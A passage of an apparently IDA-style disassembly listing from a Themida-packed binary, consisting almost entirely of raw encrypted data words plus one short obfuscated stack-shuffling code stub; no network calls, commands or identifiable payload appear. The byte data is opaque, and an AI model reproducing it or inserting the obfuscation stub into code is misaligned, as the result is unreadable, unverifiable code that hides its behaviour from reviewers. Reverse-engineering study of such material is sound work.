0A2CFB3C7h, 373F209Fh, 64CC27EBh, 374A4A27h, 52A2B99Fh dd 0BA952091h, 257C3402h, 6C37CF99h, 377CD8C7h, 0EB30309Fh dd 2E55E217h, 0D4FCE605h, 0CB8DAD6Bh, 38CDE014h, 37C93A1Eh dd 33603F9Fh, 5172309Fh, 0BCE16121h, 1E01BD5Fh, 0BC48253Fh dd 6CA2BD6Eh, 8E952514h, 5967649Ah, 378EE060h, 3771D8C8h dd 6819309Fh, 4B156F5Ch, 73CF34BBh, 373C34BBh, 60D4309Fh dd 24ECE55Ch, 621242FFh, 3775D826h, 0CD1C309Fh, 127428AAh dd 3810CC97h, 37273418h, 0F32A569Fh, 38093BA8h, 37E4761Bh dd 0E5ADB19Fh, 0BA74A6E6h, 27D2B502h, 36C73F99h, 0CB27309Fh dd 37933327h, 60C95A9Fh, 37E43377h, 0F42D109Fh, 1345B9C0h dd 13D8B19Bh, 374E2B9Bh, 0F470779Fh, 0CCD59CC5h, 0C7BBD2CEh dd 1BCAE61Eh, 0D48D54BFh, 0BACE8F90h, 223C0102h, 604E5A99h dd 37273377h, 0F4CC109Fh, 13B5B9C0h, 13A0B19Bh, 37722A9Bh dd 0F46E779Fh, 0F02043D9h, 38BDDFECh, 0B2AAC628h, 3186BBC4h dd 0DF9930F5h, 37E4309Ch, 6FB168BFh, 331D7416h, 33B8741Eh dd 374E3082h, 0B8E460DFh, 75446B59h, 9FD7819h, 0E71BC521h dd 8AB5B1F9h, 38F93B62h, 379C091Bh, 0EBF1569Fh, 0B2BABD2Dh dd 389520D1h, 37C93315h, 0FF5B3F9Fh, 37723127h, 65395A9Fh dd 379C3377h, 0F414109Fh, 1373B9C5h, 13D7B19Bh, 37C9269Bh dd 0F4B6729Fh, 0C8A85FE4h, 0AAB4C57Ch, 318990A9h, 0BA848167h dd 22AC6B1Ah, 3795D899h, 0D2F6309Fh, 43E78B90h, 0C82CDF15h dd 3C9A854Fh, 4B183F5Fh, 5D4E309Fh, 34CF639Fh, 1793309Fh dd 0BE92F3C4h, 0B6E014C3h, 2B7614DBh, 7439309Fh, 831EF3CCh dd 6C7C8484h, 386D49FCh, 0AA1EC628h, 31D97E1Ah, 0DFB530F5h dd 3772309Ch, 6EFA69BFh, 33B87C16h, 336A741Eh, 3727308Ah dd 705061DEh, 37CA8827h, 0B682309Fh, 0C8018056h, 62395A7Ch dd 379C3377h, 0F413109Fh, 134BB9C2h db 9Bh byte_5A57ED db 0B1h, 0D7h, 13h ; DATA XREF: Themida_:0054B56Co ; Themida_:0054E498o dd 37C9299Bh, 0F4B1759Fh, 0E2A12A32h, 6080B81Ah, 74845029h dd 0BA98BBF9h, 22872F22h, 8F1EBD99h, 8FCF253Ch, 0BDAF6CE2h dd 3D7FB5ACh, 0F812368Fh, 2BAD95Eh, 99223C01h, 77604E5Ah dd 9F372733h, 0C0F4CC10h, 9B13B5B9h, 8313A0B1h, 0A4F305E9h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FDA5BC3h, 589h, 8960B900h, 0BF0F1482h, 55006AF1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A028D711h, 8B0F37D8h, 22h, 8F0F60h, 0E8000000h, 14h dd 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h, 7CA0AC1Ch dd 0B3B9615Bh, 8B2074F6h, 6E8C3h, 78D70000h, 95CEC201h dd 0C08B5EF9h, 832BE280h, 10158DBDh, 9750006h, 95BD83h dd 74000610h, 8B535019h, 47AB8C0h, 85890000h, 610132Dh dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h dd 47AB853h, 85890000h, 610132Dh, 0B51D9D8Dh, 0D3FF0612h dd 0EE9585Bh, 90000000h, 8B091E0Ah, 61755AE6h, 3B13E632h dd 0E8C08B96h, 12h, 6B7AA46h, 0B1646F65h, 0FBF5BD72h, 0E233137Eh dd 0FA8B680Ch, 0D1B70F59h, 5D80C181h, 0BE90000h, 57000000h dd 6C5F6EB9h, 375D0332h, 0DB3374C2h, 8119048Bh, 0D269DBE8h dd 37CF816Dh, 8161BC8Dh, 1D933C0h, 4ABE660Fh, 4AE88137h dd 814E56B8h, 8F9077C6h, 8FF9507Eh, 0EB831904h, 0D2BF0F04h dd 0A2E8FB81h, 850FFFFFh, 0FFFFFFC4h, 0CE9h, 0A64C9000h dd 74h, 0 dd 529E900h, 47E70000h, 1BD14804h, 3CF168E4h, 1BD04703h dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h dd 37F328DFh, 1C16854h, 0E56BD9D9h, 79323C08h, 5BDE5044h dd 0BDB96DA6h, 327113A0h, 1348FF76h, 38F30D5Fh, 6DCC7C8Ah dd 66DCED35h, 32EAD17Ah, 0F8ACE79Bh, 0B883587Ch, 9D25E40Fh dd 796DCC66h, 0AE2DD9FDh, 98D3BFF6h, 22C96807h, 44EA71EDh dd 826B5509h, 3FEA3888h, 6DCCF783h, 66E20763h, 72E9FE8Ch dd 0F69581BCh, 745E1253h, 1DA5647Ah, 0F96DCC6Bh, 24BB607Dh dd 9A0E49FDh, 432F641Bh, 0CC6BAB14h, 8CC57C6Dh, 5FE3A698h dd 0B76DCC6Bh, 0C45FCBBh, 0DF632618h, 376DCC6Bh, 5BFA893Bh dd 7D2A675h, 0F5712566h, 49AC43D8h, 336B1E88h, 8268h, 22C39600h dd 1C3135E1h, 44793290h, 0A55BDE50h, 8758CC65h, 0C29E4BBEh dd 0DA46FEA5h, 0B5C76DCCh, 0D63D81B8h, 64793BE7h, 0A5A620BFh dd 92E0FC77h, 6F9CEEBh, 336B32ABh, 0AFEAA01Bh, 9E8D5FC3h dd 92338B24h, 0E18764C0h, 1, 437A322Bh, 6390384Fh, 0CC7C1AA8h dd 421EFA6Dh, 5794374Eh, 10AF10ABh, 7B2E5B11h, 923383C7h dd 1116431Fh, 55024AE9h, 33C2765Ah, 2FAA4E8Ch, 11EC57B1h dd 0D7F37935h, 7C4002A9h, 0C8A46DCCh, 3C8428B3h, 0E40D9B52h dd 0EB2CDDFEh, 0A037EB07h, 88C5B1E8h, 33D55CF3h, 0AC138F4h dd 3AA21D5h, 0F68DD6CAh, 0BC679A5Fh, 96D7336Ah, 0F09B79CFh dd 6DCC8E52h, 0E91B6B2h, 89805A68h, 6DCCF439h, 46C81DDh dd 6Eh, 3196D746h, 6D2AA6h, 0B759E2F7h, 580D8C78h, 0AE54731Fh dd 64087F73h, 0C302A625h, 972EC5CFh, 1EA9629h, 0B9301F2Fh dd 0F1D2A742h, 0F231D352h, 0D80DBF36h, 0CCF29131h, 0A65E756Dh dd 0C39F836Fh, 2FD4F39Fh, 5D79B257h, 2CC300A9h, 6AA618C9h dd 43F833h, 32520000h, 34533F7Eh, 4C9F538Eh, 0B355DC73h dd 2CDF5A74h, 4A1F03EFh, 4D7F694h, 0F67A265Bh, 7BB25AE1h dd 7C67E087h, 0D4A86DCCh, 4A246305h, 0CC7CE35Fh, 5227036Dh dd 0D617D271h, 0B6336B35h, 1, 427B3214h, 0AB5DDC4Eh, 1BC48F6Ch dd 6FEA14E6h, 2E9483B8h, 0C66DCC7Ch, 7918D6Ah, 954CD56Ch dd 7483E05Ch, 75969567h, 1167FC06h, 0B79BD27Ah, 0D513CCCBh dd 0BD480C0Fh, 13C7AB51h, 0FA9DDB84h, 23956534h, 1C38792Ch dd 0C5252638h, 0CA288E1Bh, 34632338h, 9423788Ch, 0E243E2C1h dd 7DB25929h, 0D5CBA489h, 0D0179488h, 0DD5CD0F4h, 8605F126h dd 9FFCA8DDh, 0DA6165FCh, 2A06FA33h, 0A8DD864Dh, 75344A34h dd 94230CCDh, 67304D29h, 397BC5A6h, 13686h, 0BD5CC400h dd 0C41F4C1Eh, 10BC9B43h, 0FAB1C7A4h, 67FCBFC1h, 36374925h dd 48C6808Dh, 43431854h, 94669B44h, 3DE91EC5h, 1B9A2439h dd 0A7F19464h, 1349F612h, 7D294D3Ah, 0B229DDF9h, 0B9D0C4F9h dd 3E2BD718h, 0BCE77770h, 782DAC3Bh, 0B241533Fh, 0CBF0AD13h dd 136ED34h, 0E23F924Dh, 0D1AF397Ah, 3C3468DAh, 0BB908C94h dd 2C15h, 0C15C7700h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h dd 41EDCC7Ch, 88C97C3Fh, 1A31D073h, 702DCFFh, 6DCC7C9Bh dd 0FA6BDF3Bh, 9Fh, 1EBD5C52h, 0C3C5D4Ch, 4ECA67FCh, 477C23A2h dd 0E1FF3835h, 22CE0FC2h, 6E03193Eh, 3FB6805Dh, 0F89F5388h dd 9423C44Dh, 2EE27DEh, 0EFA3E083h, 0E54CE3BCh, 161A0641h dd 0FEBD9F3Ah, 4DEE0B4Ah, 0A14514B6h, 91B6BA66h, 0D39D3EBAh dd 0FBB895DBh, 469B0F44h, 57522CAFh, 9E1697A1h, 0EE89C1Fh dd 0EE721E57h, 2905F5D2h, 0B2D1657h, 60AA0026h, 43FC9B8Bh dd 0BF63620Eh, 52F99084h, 6D56691Dh, 8D35F4D6h, 699E1557h dd 0C47FE90Dh, 99A72E2Dh, 68CCB8F7h, 41B7728Ch, 2194208Ah dd 5C038945h, 5D4C1EBDh, 67F9A1AFh, 6586D815h, 0CE1892D9h dd 8175B657h, 0BBD2C8A5h, 40793008h, 35544024h, 56E5598Eh dd 656678ADh, 1B6C68F3h, 0E2604B01h, 294265Dh, 712D4A26h dd 0F243C12Ah, 22C1E20Bh, 0D58C5C03h, 13A6B89Ch, 0A21C3172h dd 25376C13h, 0E5ACF096h, 0E06972DEh, 3F23CFF3h, 0AA5D7C2Ah dd 942FB96Dh, 568B34FDh, 23E6F8E2h, 0EAFA859Fh, 55DEFB77h dd 1C8D79AEh, 3, 326D5F70h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 6CFE68h, 243C8900h, 321468h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 615A54Bh mov ebp, [esp] add esp, 4 push 58BAh mov [esp], esp add dword ptr [esp], 4 pop esi push edx mov edx, 8 add edx, 789D4497h add edx, esi sub edx, 789D4497h mov [edx], ebp pop edx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0A9h dd 81C29228h, 7985EC36h, 0B8198A14h, 615A9FDh, 0E0FFC503h dd 2FB86E48h, 399CC6D7h, 6D8097C9h, 757020D4h, 4C557A4Fh dd 386C8E48h, 39052637h, 242CB9C7h, 54D0AA84h, 46BE591Ch dd 626B2E23h, 4993B173h, 6620D96Bh, 54B4DE44h, 0A42DC59h dd 5CD48420h, 77310891h, 79B8AEE2h, 7C80AD32h, 13466E9h dd 2FD4FAAEh, 745225A6h, 47A15338h, 700E6E8Fh, 2EE9h, 0CB338F00h dd 0Ah, 9 dup(0) dd 0E9000000h, 534h, 0AE2A6D1Dh, 8E4A8127h, 0B5296207h dd 88448126h, 0AC205F11h, 5C1042BEh, 771AA11Dh, 4FF38236h dd 6A219814h, 0AA967935h, 0D9D743FFh, 7E46A36Bh, 265B04D7h dd 0ACE18A51h, 0F02FE1F8h, 0DB06BD3Ch, 0CC7C9230h, 900726Dh dd 6DCC7CB9h, 0BE5015Dh, 0CC7CA220h, 0AE6426Dh, 93C87F16h dd 940E8DFh, 3BFE621Dh, 8E2D4A89h, 40752EF7h, 3DAC3D2Eh dd 2F6B9AA7h, 0D054407Bh, 7D5FD7F4h, 0D6CA0BBEh, 10B67D5Ah dd 84D2FBD5h, 5516D379h, 36C5794Eh, 0CFA15590h, 491E530Ch dd 0F29EDF92h, 1F52ED3h, 0FCA8E58Ah, 38EC2BDDh, 58F78A3Ch dd 902FC274h, 26A2DD91h, 8328F8AFh, 2F762A46h, 6DCCA296h dd 6E8B2A99h, 336A57A3h, 6A9F4813h, 71DB8Dh, 0D7310000h dd 6E225F04h, 0A55ED5F2h, 6FD58470h, 0B06DCC7Ch, 9C75700Fh dd 7C336B35h, 11h, 0C0754982h, 3AD521E6h, 301D3443h, 0C5A216C6h dd 0A87A32FFh, 58DCC801h, 5B11887Ch, 0B6597024h, 0D1F28D79h dd 164DF332h, 4C01B8A2h, 7CD46E1Dh, 34306DCCh, 0C3656410h dd 0B0949084h, 3267209Bh, 461D3318h, 6241103Ah, 0CC201BA7h dd 431FFB6Dh, 321AB026h, 34533F7Eh, 0ECA1558Ch, 57F938D7h dd 6E15A418h, 0CEB48930h, 0F2CE238Eh, 0A9E287FEh, 97D4ACFDh dd 5AD97A82h, 52F106EFh, 0DBEB36B3h, 96CB336Ah, 41000000h dd 533F7E32h, 0BE0407D9h, 8F6DCC7Ch, 73EF9FDCh, 0F8D50CB4h dd 334D863Bh, 0DAC603A8h, 7CA2E34Dh, 0EED2B78Eh, 0BC0F9BC9h dd 728767E1h, 7967F9B4h, 0CC943092h, 8358D46Dh, 0F6C501A0h dd 0FE6B174Eh, 4C25792Eh, 17341057h, 0D7A9E89Ch, 51265B04h dd 1B5A0E8Dh, 7EBB7067h, 136ED6Ch, 5A693AECh, 0B2833EBBh dd 5363336Ah, 0A9000000h, 533F7E32h, 13B88E34h, 8F462AD6h dd 0D1C5A1DAh, 2CAE45DEh, 8CA21952h, 0A118BFB5h, 0CCFD48FAh dd 9BB0AC6Dh, 0B12D6C20h, 437A321Bh, 0EE545729h, 66DCC7Ch dd 7CCD7534h, 4D296DCCh, 3525429h, 6DCC7CBAh, 42A73E7Dh dd 336B356Fh, 14Fh, 7B32BD00h, 90374E42h, 7C1CA665h, 7CF86DCCh dd 0EB38658h, 74B156D5h, 433DA757h, 0E8A3D078h, 6DCC7C5Ah dd 65825EBAh, 4FF63FD6h, 0B63DA216h, 0BB604B25h, 4B67FC06h dd 863EFDCFh, 0FAD60BB4h, 0F9AB2A06h, 8D6AC6BAh, 631C9F91h dd 9DE422Eh, 0E8649952h, 9C8FBA71h, 94238A26h, 927E62BEh dd 238A7DC3h, 0B251F294h, 0FF434618h, 1794238Ah, 0CE753E1Bh dd 0ED962599h, 16CDCCB8h, 8C689D46h, 1A0C398h, 76326720h dd 7B3FEAC3h, 126CA39h, 5C400000h, 8D4C1EBDh, 68F5A1D6h dd 36D0358Bh, 390E3239h, 0CF823927h, 19CA98Eh, 7260F2BFh dd 0F59DAE55h, 0D6967FCh, 94C98219h, 1AEAA118h, 67223C71h dd 943CD4DBh, 0F03DF3Bh, 81D7301Dh, 1F26497Ch, 0A5DA914Ah dd 0F835DAF1h, 0A0D78D0Ch, 8B2AF9F4h, 9C334845h, 5B9EE95h dd 0AFEAA01Bh, 960CE59Ah, 4BEC397Ah, 5E000000h, 401AC15Ch dd 0CC7CD949h, 35F2DBEDh, 96CB26FEh, 645EE4A7h, 0BAB6EDCCh dd 306B1F96h, 170BE044h, 8E09CD12h, 0C198C9BFh, 0F4BA9F05h dd 9C886CCDh, 0CC8275CDh, 0AA95AEDh, 4719C255h, 0CC82DE44h dd 0BE7AF66Dh, 7345h, 0BD5CB700h, 437E1815h, 597DABE7h dd 0F3E78487h, 0C39F67FCh, 0DA0FB8CFh, 57983900h, 863DBC82h dd 6BC7F51h, 0A9F0AECBh, 943C931Eh, 4ED76E55h, 97EC6095h dd 8A815B80h, 9E094A1Ah, 0D07DB398h, 0C7279DDAh, 8074F0B2h dd 792D6209h, 8470AD62h, 7B276005h, 0FCC05F40h, 4318B74Ah dd 565527B4h, 9422D7CEh, 1750F5C4h, 30F2076Bh, 0C6BAF599h dd 34D2866Ah, 235E04D7h, 87D6F36Fh, 6F916B70h, 0CC7C06BCh dd 6582DE6Dh, 0A7089893h, 0CCA867F9h, 0D50AC1D8h, 0EB29E259h dd 739328C4h, 190DE9C0h, 0B0F19427h, 8F57EB9Eh, 0B3AF9426h dd 0C54ED96h, 0F0CFE1C4h, 0E217D051h, 0D38EF66h, 0C00CA41Eh dd 0A3494080h, 0B86C886Ch, 51F198C6h, 0B580C00Ch, 7417A4B9h dd 0C9ADE49Ch, 0CF06BEDDh, 0C2FFA423h, 6D049BCEh, 0A73EF55Fh dd 0C97E3D23h, 0ED9C988Ch, 80C00C55h, 1B98B5B1h, 0B6EB9464h dd 0CE8A66CAh, 8BB66DECh, 0C00C22A0h, 8A66C280h, 83DE66Dh dd 86BD63F6h, 324B571h, 98000000h, 80326D5Fh, 9952493Dh dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h dd 94395044h, 7830A75Bh, 68CF5541h, 6ADh, 56242489h, 4BEh dd 24740100h, 0EC835E04h, 24148904h, 151B68h, 243C8900h dd 5DCBE56h, 814E6C0Ah, 0F45AC6EEh, 8BF28965h, 0C4832434h dd 505B6804h, 24890000h, 24048124h, 4, 0BE56535Fh, 8, 15EF389h dd 5B1389FBh, 51243C8Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 34FF5C24h, 0C4835A24h, 0D026E904h, 2754FFFAh, 15AFD0B8h dd 0FFC50306h, 87D49E0h, 0EAE19507h, 0CED20A3Dh, 0B6766150h dd 0A7853941h, 76135731h, 0D82CF241h, 774D8256h, 4CC5BA28h dd 0CB537474h, 0C6CEDB05h, 4AE80230h, 34847B08h, 0CEE52F7Bh dd 164E957h, 0EBAA0000h, 6A8C3624h, 4EAA8496h, 5AAC4C6Ah dd 54B50BB7h, 54BF52BCh, 5A300BBFh, 734E52B4h, 26663B9Fh dd 727852CDh, 0C654D036h, 0B4809C32h, 1609528Ah, 12852FBh dd 0 dd 40000h, 2 dup(0) dd 2F0000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Eh dup(0) dd 0B2E90000h, 68000016h, 615B40Dh, 0FB98EBE9h, 0B4D068FFh dd 0E1E90615h, 68FFFB98h, 615B5B5h, 0FB98D7E9h, 0B69D68FFh dd 0CDE90615h, 68FFFB98h, 615B82Fh, 0FB98C3E9h, 0B96D68FFh dd 0B9E90615h, 68FFFB98h, 615BA25h, 0FB98AFE9h, 0BAD968FFh dd 0A5E90615h, 68FFFB98h, 615BCEAh, 0FB989BE9h, 0BD9C68FFh dd 91E90615h, 68FFFB98h, 615BEA2h, 0FB9887E9h, 0BF5768FFh dd 7DE90615h, 68FFFB98h, 615C0E4h, 0FB9873E9h, 0C62068FFh dd 69E90615h, 68FFFB98h, 615C711h, 0FB985FE9h, 0C779CEFFh dd 7B352B9Ah, 0CC7ED726h, 7C2E2697h, 0CA84D627h, 5CDFA795h dd 0A6174C06h, 59ACF9B3h, 0AFFE5305h, 2FADE29Ch, 0F7404F9Ch dd 0BB151DDDh, 0B2AB5ACFh, 75665F00h, 96C514BBh, 3C2287DCh dd 7D0A7948h, 17C844DAh, 0E1E28B7Bh, 0D85A8C96h, 0A42BDB1Dh dd 0B82F3457h, 0FEB8AA11h, 681A327Fh, 6F0AD969h, 0CF0C8E48h dd 5513E3Dh, 9B7732A1h, 0BE93CA35h, 404F9C4Bh, 1511B827h dd 74944869h, 45000000h, 0E4EB9DB8h, 0EF8E4095h, 1C4E0F43h dd 3B5EA95Ah, 1A17C845h, 82B0416Ah, 657603FAh, 88A754ABh dd 0CD17C844h, 0F8838021h, 1DD844EAh, 9672D28Dh, 0EAC10283h dd 0A9CC17B6h, 3511B822h, 0A7646B25h, 0FF7137ECh, 71624F35h dd 560AC416h, 0B9987C37h, 0D82C4C65h, 7E9851D0h, 20F2AB22h dd 0BE9407BAh, 0D33023D2h, 0B8010928h, 0F4A04C11h, 0CC31ABh dd 5A790000h, 0D3498A3Dh, 3879AACDh, 0D6217ECDh, 17C892C3h dd 92C3D621h, 0E29217C8h, 0BDC4907Ch, 5B70FD6Eh, 934356A1h dd 621217C8h, 0DC96CC39h, 8C3E98E5h, 7261B0E3h, 97CC19B8h dd 0DF3788DDh, 9517C897h, 0E6D78C46h, 31943BF5h, 0F98A790Dh dd 8BF8558Ch, 17C88DECh, 0EAE9BD69h, 6694733Ch, 0B11DD89Ch dd 0CE1B90C5h, 11BDC476h, 89FD6150h, 37BBCD3Ah, 0D0BC17CBh dd 843E94E1h db 0CFh, 0DEh word_5A686A dw 32ECh ; DATA XREF: Themida_:0054BEACo dd 12E26AB4h, 15ABAEE2h, 13CDh, 1946F84Fh, 0A5FAB4ACh dd 164BFD58h, 0A6FBADA7h, 1C490357h, 85D55828h, 322796CBh dd 84DA2B78h, 1B307DD2h, 21B03461h, 0DDF8C3D6h, 4434921Dh dd 8E653D5Ah, 0AEAB5EC2h, 8C218EDh, 0BF796A5Bh, 1A48C892h dd 0E2E08B62h, 951DD845h, 0F69DEAE9h, 0D911B844h, 0F714CF6Ah dd 6147E4F6h, 36ACF554h, 0BE932FB0h, 0AAA1h, 75CE900h dd 6599764Dh, 0D80FFA1Ah, 0C815BEDFh, 0A7CA3592h, 0AE17C880h dd 0A0EB92BEh, 17C88558h, 580DC71Ch, 15BC7665h, 7F68EB4h dd 0D88A3E7Ch, 558CD91Dh, 902FE9FAh, 0ADE2AEE2h, 2F7E062Ch dd 0CB21B5C4h, 0FDF4A017h, 0F3A05A70h, 0A016D002h, 0E212F5B0h dd 0A3FD5D4h, 8C000013h, 1F4A153h, 6D4015CFh, 0CF9A658h dd 84711ED0h, 6DBF944Eh, 16D00285h, 0AB657C49h, 1DCF07F6h dd 0AC667548h, 1966F5F7h, 1DDDF976h, 5C9981DFh, 0A6174C06h dd 7504FBB5h, 0DC7B0865h, 7917C844h, 0CD98D98Dh, 4FE28DDEh dd 617C845h, 5C155516h, 5DB0AC07h, 6412B16Bh, 0B1E59130h dd 0D690C312h, 60213C89h, 0AE88BB77h, 0E8CAEFE9h, 770CD7BAh dd 4410CAFFh, 2F247110h, 10B82075h, 0CA394DF1h, 0D8D2FB3Dh dd 0D3EAB1Dh, 7A2A0A53h, 0E887F483h, 0FE11B88Ah, 520D13CDh dd 38FAAEE5h, 0A7C89C07h, 5146E8B3h, 0D8860943h, 0D0A24DA4h dd 7203EF7h, 29157817h, 4115E55h, 5D1A326Bh, 9EA719A2h dd 2E6225CAh, 672132BFh, 3EF8E998h, 2A1E933Fh, 0FCA55170h dd 4D075CA9h, 0ACAF7D6Fh, 922AA9DFh, 1225h, 51FEB0A7h dd 0DDB26C64h, 4E03B510h, 0DEB3655Fh, 5401BB0Fh, 3D8D10E0h dd 0EADFCE83h, 3C926330h, 0F3E8D58Ah, 0F9886C39h, 0DDF9EB8Eh dd 1C0C6A1Dh, 5CB7AB5Ah, 82304F01h, 23388DCEh, 5B076A69h dd 0E11FCC23h, 161DD867h, 97CC3966h, 0EF53B6DDh, 6BDB2897h dd 4817CDD2h, 0CFEEA8BBh, 0F1806F23h, 8A7B28E2h, 0CF209F59h dd 57763022h, 43EF02ABh, 2435C43Bh, 0F6B7636Ah, 215E620Dh dd 53A411B8h, 8CBF89A8h, 6520CC05h, 8188560Fh, 0E84C157Dh dd 1E38C53Ch, 8D3F976Ch, 0E190DFE4h, 47EA95F2h, 0E058CFEh dd 0DF8B325Eh, 830ABC12h, 1C2F96D7h, 81D58FC1h, 38F2E1D4h dd 720A3899h, 0DA0FEC7Bh, 3D5CA7C9h, 18058C57h, 99B3296Ch dd 0C2120043h, 7BEFFE3h, 0B0436166h, 10FC0B9Ch, 3C10A29Ah dd 0D56BEEEEh, 113Dh, 89D688BFh, 356A243Ch, 86DB8DC8h dd 366B1D37h, 8CD993C7h, 1545C8B8h, 0A2B7065Bh, 144ABBE8h dd 8BC02D62h, 0D12084D1h, 0DDFB1326h, 0F4A4421Dh, 174C065Ch dd 0E9D8AC92h, 0D866349Eh, 0CE3931Dh, 129F4DEFh, 388DCB19h dd 90436C1Eh, 0B581241h, 0F64EA9BAh, 0C5913D44h, 5FF27DEEh dd 0F611B79Ch, 0CB2E6506h, 46C01067h, 7B00D355h, 1F9E5086h dd 1FD01F73h, 0E21423D0h, 554111B7h, 0EBA5BB0Ch, 0D2C217C7h dd 0B16B5EABh, 0D690C312h, 15D04FB7h, 0D87E115Eh, 27D70BA7h dd 2AD7287Bh, 0AF347D37h, 520C3FF6h, 731FA05Bh, 8706B80Eh dd 0AA9678DBh, 69703576h, 85F2C1C5h, 11B81C2Bh, 84D1F09Ch dd 9FEE954Fh, 81D0EFA9h, 0F218864Fh, 0B9242DE5h, 0F467E6EDh dd 33A82D39h, 0F38BB77Ah, 9F196FFCh, 0B03D0BA7h, 23E0DF99h dd 5F34E7ABh, 0D29BC78Fh, 10DDB262h, 43B201BBh, 0E8A2B70Ah dd 6A693DE9h, 93E0F3BCh, 0FF87E000h, 0EC9954C3h, 95683DF7h dd 0A4058C46h, 88F7C6BEh, 0BFED8CF7h, 8CF7FF87h, 0FF87BFEDh dd 0C6B6BC68h, 0CF7C22A5h, 22B30597h, 0AB577630h, 0B088A754h dd 21CDF977h, 7DB82075h, 0A7166ED4h, 8D60F45Ch, 671FCFFFh dd 0EF8E489Ah, 0BD3EE3A0h, 0B8095437h, 1A7D10F7h, 0E14DF362h dd 4DD9269Dh, 36F977CAh, 670F1637h, 0A2EE885Eh, 0F3AD9E4Bh dd 42FC4F9Eh, 0F07BEC3Bh, 0ED4C5961h, 5E6708F4h, 3234B26Ch dd 56006C54h, 0FABBD53h, 1A2D0000h, 96CA3B68h, 1F3687DCh dd 8FC5386Dh, 253588DDh, 7E46366Bh, 0B8EDA7BBh, 55A1445h dd 0B7EC9EB8h, 65B1546h, 89A853A6h, 0CC1DDDFCh, 65C8672h dd 0D6FDB7ABh, 0D4277C28h, 557C3625h, 0CEFD08A9h, 2B206D14h dd 0DEF38271h, 0EE587B24h, 0CCFFB66Fh, 0C74D3D12h, 0B6B883B7h dd 167h, 4D075C0Ah, 51AF546h, 0D8C19ABFh, 8EC27CD4h, 29E3F8CDh dd 0B5C9757Ch, 63D2AD3Eh, 2E21741Eh, 0C61F797Eh, 731FAAC7h dd 0C843DD2Ah, 78241DD8h, 9D670E59h, 0F96811B8h, 5BFC6240h dd 43EDBE93h, 35000000h, 8B621A48h, 0D845E2E0h, 0EAE9951Dh dd 0B844F69Dh, 97F2E811h, 56048B3Dh, 0C734830Ah, 11B844A8h dd 0D8F4C1ADh, 0E3FCA726h, 9B83C4Ah, 0B80C9270h, 0D324BE93h dd 0B8510928h, 0FFA04C11h, 9EDDh, 75C2500h, 899764Dh, 138C9D18h dd 0FD4C8728h, 1D6C13CDh, 4D742Eh, 51A211CBh, 0C85393A6h dd 89D2C217h, 5913EBDCh, 726117C8h, 8908C217h, 0C93A89DDh dd 0C84F1B3Eh, 214A3A17h, 8DF15D44h, 424C936h, 412D1DDBh dd 15CF0372h, 0A35D6D40h, 3144D45h, 5AF271DCh, 0E6Dh, 7926D8EFh dd 0C59A548Ch, 762BDDF8h, 0C69B4D87h, 7C29E3F7h, 65753808h dd 0D207F6ABh, 647A4B18h, 0BB10DDB2h, 1505401h, 0DDFDE376h dd 24D4721Dh, 174C065Ch, 65AB5A6h, 0DDF8454Ch, 0AAF6A42Bh dd 5C01A9F6h, 92FB3E07h, 0ECE48044h, 8807C117h, 0CA3786DAh dd 8B6DD97h, 0EEDD2C67h, 3D8E5F34h, 0B599FC83h, 1D25E2D1h dd 51309A52h, 7B08FBA4h, 1DD927CDh, 16E5BA6Ah, 0CA771A65h dd 2EDE11B8h, 7AA4F6Dh, 5C530000h, 0FA454C06h, 17C84553h dd 3CB3CB77h, 0DDF53FAFh, 59A8541Dh, 0A8FDB7ACh, 754C0655h dd 511ACC08h, 25DFF342h, 619ADC7h, 0E27AF9DCh, 0DB5h, 216E2037h dd 8DC27CD4h, 1E732520h, 8EC375CFh, 24712B1Fh, 0AD9D6050h dd 0FA4F9EF3h, 0ACA21340h, 358A5FAh, 49981C49h, 0DDFE9BBEh dd 6C1CBA1Dh, 5EA9065Ch, 17C8453Bh, 69366A1Ah, 68D479Ch dd 0E3EAA4B7h, 6BFC7Bh, 17C84571h, 47EA95E4h, 0E17C845h dd 7A69325Eh, 617504BFh, 396210AFh, 88DD97CCh, 83B78C12h dd 3853A4B8h, 95C01F7Fh, 6B0EF93Ch, 0EA17C91Dh, 0D6B713Ah dd 0BF000000h, 0C8502C5Eh, 0DE7F3D17h, 3FFFFFDh, 0C845375Eh dd 0D7AF9317h, 0F5A39BE8h, 14001DDDh, 41FB509Dh, 0F8B2A114h dd 9C568CD9h, 6193E1Eh, 71078ADCh, 0D01h, 0C59A4C83h, 7926E0F8h dd 0F29F518Ch, 4A17C903h, 0F8AD677Bh, 0E9F9BC84h, 3E93622Fh dd 0E8DECF84h, 479C6936h, 85D4D88Dh, 0DDFF57FAh, 0B860FE1Dh dd 464D075Ch, 0D32AE4F7h, 337C2E26h, 0EA736A0h, 0F9B3A855h dd 44FE4DB8h, 0B8157B0Fh, 0D04B883h, 5C000000h, 0C8502C5Eh dd 567F3D17h, 3FFFFFDh, 0FBB5AB5Ah, 6C8526D4h, 84EFBEC6h dd 1DD866FAh, 0CD1AB965h, 11B822A7h, 3026D32Ah, 2BC6DD7Eh dd 93D5D157h, 1DBC0BEh, 5E080000h, 17C84567h, 0A5B64F78h dd 1447B6EBh, 0C216635Ah, 0DF2C6708h, 17C845B4h, 0BB6A039Ch dd 40A1EEA8h, 7B95A1Fh, 0AF3AC4CEh, 34E2E19Bh, 53E69160h dd 217C92Bh, 0F23F3E12h, 897A27E1h, 0A52CE6FCh, 0FE4DB8F9h dd 0CBF23D44h, 0F317C92Bh, 4D9C23DDh, 954241FBh, 4F5363FEh dd 75046F00h, 0E017C92Bh, 